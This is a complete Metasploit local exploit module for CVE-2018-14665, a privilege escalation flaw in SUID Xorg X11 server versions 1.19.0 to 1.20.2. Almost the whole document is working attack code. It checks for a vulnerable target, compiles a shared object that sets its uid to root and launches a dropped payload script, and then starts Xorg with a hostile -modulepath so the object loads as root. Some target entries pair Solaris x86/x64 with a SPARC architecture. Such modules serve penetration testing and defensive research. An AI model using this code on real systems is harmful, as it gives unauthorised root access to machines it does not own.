Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::Kernel  
include Msf::Post::Linux::System  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Xorg X11 Server SUID modulepath Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges with SUID Xorg X11 server  
versions 1.19.0 < 1.20.3.  
  
A permission check flaw exists for -modulepath and -logfile options when  
starting Xorg. This allows unprivileged users that can start the server  
the ability to elevate privileges and run arbitrary code under root  
privileges.  
  
This module has been tested with CentOS 7 (1708).  
CentOS default install will require console auth for the users session.  
Xorg must have SUID permissions and may not start if running.  
  
On successful exploitation artifacts will be created consistant  
with starting Xorg.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Narendra Shinde', # Discovery and exploit  
'Aaron Ringo', # Metasploit module  
],  
'DisclosureDate' => 'Oct 25 2018',  
'References' =>  
[  
[ 'CVE', '2018-14665' ],  
[ 'BID', '105741' ],  
[ 'EDB', '45697' ],  
[ 'EDB', '45742' ],  
[ 'EDB', '45832' ],  
[ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html' ]  
],  
'Platform' => %w[linux unix solaris],  
'Arch' => [ARCH_X86, ARCH_X64],  
'SessionTypes' => %w[shell meterpreter],  
'Targets' =>  
[  
['Linux x64', {  
'Platform' => 'linux',  
'Arch' => ARCH_X64 } ],  
['Linux x86', {  
'Platform' => 'linux',  
'Arch' => ARCH_X86 } ],  
['Solaris x86', {  
'Platform' => [ 'solaris', 'unix' ],  
'Arch' => ARCH_SPARC } ],  
['Solaris x64', {  
'Platform' => [ 'solaris', 'unix' ],  
'Arch' => ARCH_SPARC } ],  
],  
'DefaultTarget' => 0))  
  
register_advanced_options(  
[  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),  
OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),  
OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ]),  
OptString.new('sofile', [ true, 'Xorg shared object name for modulepath', 'libglx.so' ])  
]  
)  
end  
  
  
def check  
# linux checks  
uname = cmd_exec "uname"  
if uname =~ /linux/i  
vprint_status "Running additional check for Linux"  
if datastore['ConsoleLock']  
user = cmd_exec "id -un"  
unless exist? "/var/run/console/#{user}"  
vprint_error "No console lock for #{user}"  
return CheckCode::Safe  
end  
vprint_good "Console lock for #{user}"  
end  
end  
  
# suid program check  
xorg_path = cmd_exec "command -v Xorg"  
unless xorg_path.include?("Xorg")  
vprint_error "Could not find Xorg executable"  
return CheckCode::Safe  
end  
vprint_good "Xorg path found at #{xorg_path}"  
unless setuid? xorg_path  
vprint_error "Xorg binary #{xorg_path} is not SUID"  
return CheckCode::Safe  
end  
vprint_good "Xorg binary #{xorg_path} is SUID"  
  
x_version = cmd_exec "Xorg -version"  
if x_version.include?("Release Date")  
v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)  
unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2'))  
vprint_error "Xorg version #{v} not supported"  
return CheckCode::Safe  
end  
elsif x_version.include?("Fatal server error")  
vprint_error "User probably does not have console auth"  
vprint_error "Below is Xorg -version output"  
vprint_error x_version  
return CheckCode::Safe  
else  
vprint_warning "Could not parse Xorg -version output"  
return CheckCode::Appears  
end  
vprint_good "Xorg version #{v} is vulnerable"  
  
# process check for /X  
proc_list = cmd_exec "ps ax"  
if proc_list.include?('/X ')  
vprint_warning('Xorg in process list')  
return CheckCode::Appears  
end  
vprint_good('Xorg does not appear to be running')  
return CheckCode::Vulnerable  
end  
  
def check_arch_and_compile(path, data)  
cpu = ''  
if target['Arch'] == ARCH_X86  
cpu = Metasm::Ia32.new  
compile_with_metasm(cpu, path, data)  
elsif target['Arch'] == ARCH_SPARC  
compile_with_gcc(path, data)  
else  
cpu = Metasm::X86_64.new  
compile_with_metasm(cpu, path, data)  
end  
end  
  
def compile_with_metasm(cpu, path, data)  
shared_obj = Metasm::ELF.compile_c(cpu, data).encode_string(:lib)  
write_file(path, shared_obj)  
register_file_for_cleanup path  
  
chmod path  
rescue  
print_status('Failed to compile with Metasm. Falling back to compiling with GCC.')  
compile_with_gcc(path, data)  
end  
  
def compile_with_gcc(path, data)  
unless has_gcc?  
fail_with Failure::BadConfig, 'gcc is not installed'  
end  
vprint_good 'gcc is installed'  
  
src_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(6..10)}.c"  
write_file(src_path, data)  
  
gcc_cmd = "gcc -fPIC -shared -o #{path} #{src_path} -nostartfiles"  
if session.type.eql? 'shell'  
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"  
end  
output = cmd_exec gcc_cmd  
register_file_for_cleanup src_path  
register_file_for_cleanup path  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{src_path} failed to compile"  
end  
  
chmod path  
end  
  
def exploit  
check_status = check  
if check_status == CheckCode::Appears  
print_warning 'Could not get version or Xorg process possibly running, may fail'  
elsif check_status == CheckCode::Safe  
fail_with Failure::NotVulnerable, 'Target not vulnerable'  
end  
  
if is_root?  
fail_with Failure::BadConfig, 'This session already has root privileges'  
end  
  
unless writable? datastore['WritableDir']  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"  
end  
  
print_good 'Passed all initial checks for exploit'  
  
modulepath = datastore['WritableDir']  
sofile = "#{modulepath}/#{datastore['sofile']}"  
pscript = "#{modulepath}/.session-#{rand_text_alphanumeric 5..10}"  
xdisplay = datastore['Xdisplay']  
  
stub = %Q^  
extern int setuid(int);  
extern int setgid(int);  
extern int system(const char *__s);  
  
void _init(void) __attribute__((constructor));  
  
void __attribute__((constructor)) _init() {  
setgid(0);  
setuid(0);  
system("#{pscript} &");  
}  
^  
print_status 'Writing launcher and compiling'  
check_arch_and_compile(sofile, stub)  
  
# Uploading  
print_status 'Uploading your payload, this could take a while'  
if payload.arch.first == 'cmd'  
write_file(pscript, payload.encoded)  
else  
write_file(pscript, generate_payload_exe)  
end  
chmod pscript  
register_file_for_cleanup pscript  
  
  
# Actual exploit with cron overwrite  
print_status 'Exploiting'  
#Xorg -logfile derp -modulepath ',/tmp' :1  
xorg_cmd = "Xorg -modulepath ',#{modulepath}' #{xdisplay} & >/dev/null"  
cmd_exec xorg_cmd  
Rex.sleep 7  
cmd_exec "pkill Xorg"  
Rex.sleep 1  
end  
end